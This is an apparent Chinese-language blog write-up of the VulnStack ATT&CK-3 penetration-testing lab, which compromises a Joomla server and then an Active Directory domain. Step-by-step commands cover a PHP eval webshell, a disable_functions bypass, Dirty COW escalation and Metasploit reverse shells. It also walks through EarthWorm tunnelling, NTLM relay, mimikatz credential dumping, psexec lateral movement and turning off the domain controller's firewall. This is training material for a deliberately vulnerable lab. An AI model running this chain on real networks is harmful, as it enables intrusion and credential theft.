VulnStack-ATT&CK-3

  • 1. 环境配置
  • 2. 信息收集
    • 目标机端口扫描
    • 目录扫描
  • 3. 漏洞利用
    • 远程连接web的MySQL
    • 登录后台写一句话木马
    • 连接木马文件getshell
  • 4. 内网渗透
    • 内网信息收集
    • 脏牛漏洞提权
    • 内网渗透,建立监听
    • 路由转发Sock代理
    • Socks5代理
  • 5. 横向移动
    • NTLM Relay 攻击
    • 定位域管理员
    • meterpreter的kiwi模块抓取密码
    • 使用获取到的密码控制 win7
    • 进攻域控(win 2012)
  • 6. 问题总结

1. 环境配置

此图仅供参考,IP地址有误

首先添加一张网卡(仅主机模式),192.168.93.0/24 网段

web-centos

进去第一条命令 service network restart 重启网络服务

网卡1:桥接模式 192.168.119.118 (180.118)

网卡2:仅主机 192.168.93.100

web1-ubuntu

仅主机模式:192.168.93.120

PC

仅主机:192.168.93.30

win 2008

仅主机:192.168.93.20

win 2012

仅主机:192.168.93.10

kali

重启网卡命令:systemctl restart networking

IP:192.168.119.62

2. 信息收集

目标机端口扫描

经过端口扫描,发现有22、80、3306端口开放

内网存活主机的扫描要通过搭建代理的方式

分别对开放端口利用。

80端口http服务,可以尝试登录网页

3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等

目录扫描

回想getshell的方法。首先尝试目录扫描,找到后台登录页面,尝试弱密码,暴力破解等。

进入 http://192.168.119.118/administrator/index.php

用不了弱密码,在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露

http://192.168.119.118/configuration.php

找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息

尝试用Hydra,brupsuite暴力破解,但是都没有成功

最后,通过学习别人的思路,远程登录目标机的MySQL

3. 漏洞利用

主要是利用敏感信息泄露,得知了mysql的用户名密码:testuser/cvcvgjASD!@

然后可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。

远程连接web的MySQL

找到后台登录页面后,尝试弱口令,暴力破解,SQL注入,都不成功,也没有相关敏感信息泄露

最后想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录

由于泄露的敏感信息中没有相关的表名,根据经验,应该在user相关的表中

修改用户名的密码为123456,结果登录验证依然失败,必须修改为加密后的数据

重新添加一个用户名密码 admin1/secret

secret 加密后 d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

同理也要在am2zu_user_usergroup_map这个表添加数据

group_id 为 8 的意思是 Super User

登录后台写一句话木马

点击Bee3 Details and Files

在index.php 文件中 写入一句话木马 <?php eval($_POST['a']); ?>,点击Save

连接木马文件getshell

一句话木马写在了index.php,因此要找到index.php的绝对路径,猜测就是我们登录的页面http://192.168.180.118/administrator/index.php

连接测试失败,根据泄露的敏感信息,猜测应该是http://192.168.180.118/html/administrator/index.php,引入不成功

最后观察页面上的信息,推测路径http://192.168.180.118/template/beez3/index.php,注意linux系统严格区分大小写

蚁剑连接,成功获取webshell

打开虚拟终端,发现不能执行命令

通过蚁剑在templates/beez3目录下写一个phpinfo文件

然后访问 http://192.168.180.118/templates/beez3/phpinfo.php

发现 命令执行被禁用

下载绕过disable_funtions 的payload

https://github.com/MrAnonymous-1/disable_functions

将exploit1.php上传到web服务器的指定目录下

访问此文件http://192.168.156.118/templates/beez3/exploit1.php,发送post请求,页面上就会返回命令执行结果

POST: cmd=<command>
// <command>为要执行的系统命令
// 例如:cmd=ipconfig

4. 内网渗透

分别启动CS的服务端、客户端,尝试用CS生成钓鱼文件,让web上线,但是没有成功,因为权限不够

由于是Web服务是centos系统,不能利用ms17-010

内网信息收集

ifconfig           发现一个网段192.168.93.0/24   和 一个IP地址 192.168.93.120cat /etc/issue             #查看系统名称          Ubuntu 16.04.6 LTS \n \l
cat /etc/*release       #查看linux发行信息
uname -an               #查看内核版本
cat /proc/version       #查看内核信息
cat /etc/passwd         #存放用户名信息,没有密码信息
cat /etc/shadow         #存放用户名密码信息,密码被加密,只要root用户才能读取
whoami     #查看当前shell权限      www-data
id                                uid=33(www-data) gid=33(www-data) groups=33(www-data)

总之发现,查到的很多信息都是Ubuntu虚拟机(Web1)的,当我把Ubuntu虚拟机挂起后,再执行上述命令,返现无返回结果。现在的情况是,拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息

原来是Centos是Ubuntu的反向代理,用的是Nginx协议

利用蚁剑的插件,绕过disable_functions 对系统命令执行的限制,在Ubuntu上发现了一组用户名密码

  1. 由于前面进行了端口扫描,只开放看22,80,3306端口,因此猜测是SSH的凭证

  2. 用Xshell进行连接Centos的IP,输入用户名密码 wwwuser/wwwuser_123Aqx

  3. 输入ifconfig,返回的是Centos的IP地址信息

查看nginx的相关配置文件,验证Centos和Ubuntu是否是有代理的关系

ps aux | grep nginx
find / -name  nginx
find / -name  proxy

脏牛漏洞提权

脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权

EXP下载:https://github.com/FireFart/dirtycow

将代码上传到一个可以执行的文件夹内

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码

./dirty 123456id             #显示用户的ID,以及所属群组的ID;uid=0,为root用户

内网渗透,建立监听

为了内网渗透,扫描到192.168.93.0/24 网段内主机的相关信息,我们要通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接

use exploit/multi/script/web_delivery
set target 6                            # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 4444
exploit

输入run之后,会生成一个payload,然后复制在CentOS上执行

执行之后就会出现下图红框的中的内容

然后执行这个session,就出现了meterpreter后渗透阶段

路由转发Sock代理

添加路由是为了能让msf程序进入内网,便于攻击

earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等

ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口

添加一个通向内网 192.168.93.0/24 网段的路由

route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1

Socks5代理

上述的内网渗透,建立监听操作都是在msfconsole视图下完成的,路由转发只能将msfconsole带进内网,但是想要将攻击机其他程序也带进内网还需要搭建socks代理。

使用earthworm搭建socks5反向代理

kali(攻击者)

./ew_for_linux64 -s rcsocks -l 1080 -e 1234#将1080端口监听到的本地数据转发到 web服务器的1234端口# 通过1080端口,将本地流量转发出去#rcsocks、rssocks 用于反向连接#ssocks 用于正向连接# -l 指定本地监听的端口# -e 指定要反弹到的机器端口# -d 指定要反弹到机器的IP# -f 指定要主动连接的机器 ip# -g 指定要主动连接的机器端口# -t 指定超时时长,默认为 1000

在CentOS上传 ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.1.106 -e 1234#192.168.1.106 是攻击者kali的IP地址


将socks5 服务器指向 127.0.0.1:1080

vim /etc/proxychains4.conf

之后我们就可以利用proxychains将我们的程序代理进入内网了

测试可以ping通内网主机

下面我们就可以扫描内网的存活主机

由于内存不够,只开启了一台虚拟机,所以只扫描到192.168.93.30

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

5. 横向移动

NTLM Relay 攻击

工具使用说明:
impacket-master : 为了伪造smb服务器,抓取用户的密码
msf : 生成一个exe木马 ,结合impacket-master的smbrelayx.py使用

通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。

因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。

首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.106 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe#192.168.1.106 是kali的IP地址

将生成的木马文件上传到CentOS

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe# 攻击信息都会反弹到192.168.93.20这台主机

出现以下报错,说明python环境有问题

下面我们下载python3 环境

由于有一个认证失败的原因,因此不能直接用 pip install --upgrade pip 的方式。要用下面的方式进行安装

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make installln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pippip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:

nginx -s stop

执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听

在msf上开启对 win 2008(192.168.93.20)的监听

然后在win7上访问smb服务器,使得win 2008成功上线

顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

注意这里在监听bind_tcp时一定要设置进程迁移,否则在Removing file的时候,会话也随之关闭了

定位域管理员

PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员
需要注意的是:该工具的某些功能需要管理员权限

通过meterpreter 上传PVEFindADUser.exe到 win 2008,域管理员当前登录位置是win 2012

upload filename  #msf在哪个路径下开启,就上传此路径下的文件

拿下Windows server 2008之后,然后进入shell中执行如下命令:

shell
pvefinaduser.exe -current

如下图,成功显示域中所有计算机上当前登陆的所有用户:

meterpreter的kiwi模块抓取密码

查看进程

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

报错了,因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移进去就行了:

成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:

WIN2008\Administrator:123qwe!ASD

TEST\administrator:zxcASDqw123!!

使用获取到的密码控制 win7

思路:由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机

由于在使用NTLM Realy的时候,win7(192.168.93.30) 登录smb伪造服务器也会被 win2008(192.168.93.20)记录来了,猜测应该可以用同一组密码登录 win7

下面尝试登录 PC (win7 : 192.168.93.30)

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run

进攻域控(win 2012)

思路:由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。在win 2008上窃取管理员用户的token令牌,这样就可以通过win2008 访问 win2012(域控),然后远程关掉域控的防火墙,在此用msf登录域控,结果成功,接下来就是后渗透找目标文件

用同样的方式进行登录,通过上面获取的域控的用户名密码,通过msf直接登录,但是这次失败

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
# set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run

换其他方法,重新生成一个正向的msf木马,上传到win2008

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.102 LPORT=6666 -f exe -o shell.exe

上传木马文件

窃取管理员用户的token令牌

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

这样我们的当前拿下的Win2008便有了访问域控制器的权限

在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件

关闭win2012(192.168.93.10)的防火墙

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

再次使用msf的 exploit/windows/smb/psexec 模块登录win2012

6. 问题总结

以下是在实验中遇到的关键点,还有一些小小的梳理

  1. mysql服务+用户名密码泄露=mysql远程登录

  2. 拿到webshell,不能执行命令怎么办,phpinfo()验证,绕过disable_functions

  3. 用proxychains+nmap的方式扫描存活主机

    proxychains nmap -sT 192.168.93.0/24

    为什么不是连续扫描,-sV 扫描不出结果

  1. msf的使用技巧,知道一个漏洞应该对应使用哪个模块
  2. 代理和隧道的联系

VulnStack-ATTCK-3(红日靶场三)相关推荐

  1. 内网渗透—红日靶场三

    文章目录 0x01.环境配置 0x02.Centos getshell 0x03.Centos提权 0x04.内网穿透-设置路由 0x05.内网穿透-设置代理 0x06.获取内网目标shell 通过s ...

  2. 实战ATTCK攻击链路--靶场Writeup(三)

    文章来源|MS08067 安全练兵场 知识星球 本文作者:godunt(安全练兵场星球合伙人) 玩靶场 认准安全练兵场 成立"安全练兵场"的目的 目前,安全行业热度逐年增加,很多新 ...

  3. 红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记

    这里写目录标题 一.环境搭建 二.拿下web服务器 信息收集 phpmyadmin 日志getshell yxcms 文件上传 xss sql注入 三.后渗透 3.1 基于msf 3.2 msf 联动 ...

  4. 《关于我不自量力挑战红日靶场01却被虐的不成人样的那档事》

    文章目录 红日靶场01 O. 环境搭建 拓扑图 一. vm1 1. 信息收集 0. `phpStudy` 探针 1. 端口扫描 2. 目录扫描 3. 网站源码寻找信息 1)进后台方法一 2)进后台方法 ...

  5. 红日靶场vulnstack1 内网渗透学习

    目录 前言: 信息收集: phpmyadmin getshell 日志写shell yxcms getshell 植入后们: 内网域环境信息收集: 基于msf 进行信息收集: 基于msf 内网信息收集 ...

  6. 记ATTCK实战系列——红队实战(三)红日靶场

    以下操作均在测试环境进行,遵章守法 靶场镜像地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 20G左右,分为5个虚拟机,下载之后分别解压,导进 ...

  7. ATTCK 实战 - 红日安全 vulnstack (一)

    一 环境搭建 1.0 靶场介绍 ATT&CK实战系列-红队实战(一)是红日安全团队出品的一个实战环境,该靶场模拟真实环境. 1.0.0 靶场信息 靶场名称: vulnstack 1 下载链接: ...

  8. ATTCK红日靶场二

    前言:欢迎大家一起学习红日团队的靶场二,可以学习域渗透,web,内网渗透等相关内容 目录 环境搭建 信息收集 CS上线 信息收集 获取域控权限 权限维持,制作黄金票据 msf上线 psexec横向移动 ...

  9. 【红日靶场系列】ATTCK红队评估3

    靶场搭建 靶场下载地址: http://vulnstack.qiyuanxuetang.net/vuln/ 下载下来之后目录是这样 环境配置: 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做 ...

最新文章

  1. 将文字自动转为banner打印形式的工具
  2. js实现横向跑马灯效果
  3. C#.Net命名空间大纲
  4. [ubuntu]dlna平台搭建(在家里,寝室搭建自己的影音平台)
  5. C语言编写工资管理系统类似学生管理系统
  6. 央视曝光紫砂锅名单_大家看今天中午《每周质量报告》没,美的牌 紫砂锅含有剧毒。家里有这牌子...
  7. AE调整形状图层大小插件 BorderPatrol for mac
  8. Java多线程系列--“JUC锁”03之 公平锁(一)
  9. 【中文信息处理】实验一_语料库统计_基于词表的分词
  10. 量子计算机是一种采用基于原理,量子计算的发展
  11. SQL Server 索引 之 书签查找 第十一篇
  12. swift语言实战晋级-第9章 游戏实战-跑酷熊猫-9-10 移除平台与视差滚动
  13. selenium执行click报错的解决方案
  14. keybd_event模拟键盘输入
  15. 基于facades数据集的图像成任务,完成各种GAN的对比实验
  16. 计算机术语IP,什么是ip?网络ip和网络用语IP的含义!
  17. 关于用户故事地图的7种用法
  18. J2EE--自定义mvc增删改查
  19. OpenStack组件部署之Placement
  20. 安装Kali Linux系统 全流程详解

热门文章

  1. Mybatis报错:Could not resolve type alias
  2. [导入]WAP广告钱景一致看好 现PUSH模式受质疑
  3. android短信接受震动,Android中实现拨打电话、发送短信、响铃、震动和获取当前时间...
  4. 012:vue+openlayers加载引用3种 Stamen地图(示例代码)
  5. 问卷星调查问卷自动填写问卷的js
  6. 73. 使用自定义 Query 实现 SAP UI5 页面路由的书签功能
  7. gma 地理空间绘图:(1)绘制简单的世界地图-1.地图绘制与细节调整
  8. MATLAB批量读取航摄相片EXIF信息和GNSS信息以及MATLAB批量经纬度坐标转换空间直角坐标
  9. activiti5.22整合官方编辑器
  10. [含论文+源码等]基于HTML5,DIV CSS实现的宠物狗个性化服务网站前端(静态网页毕业设计)web前端毕设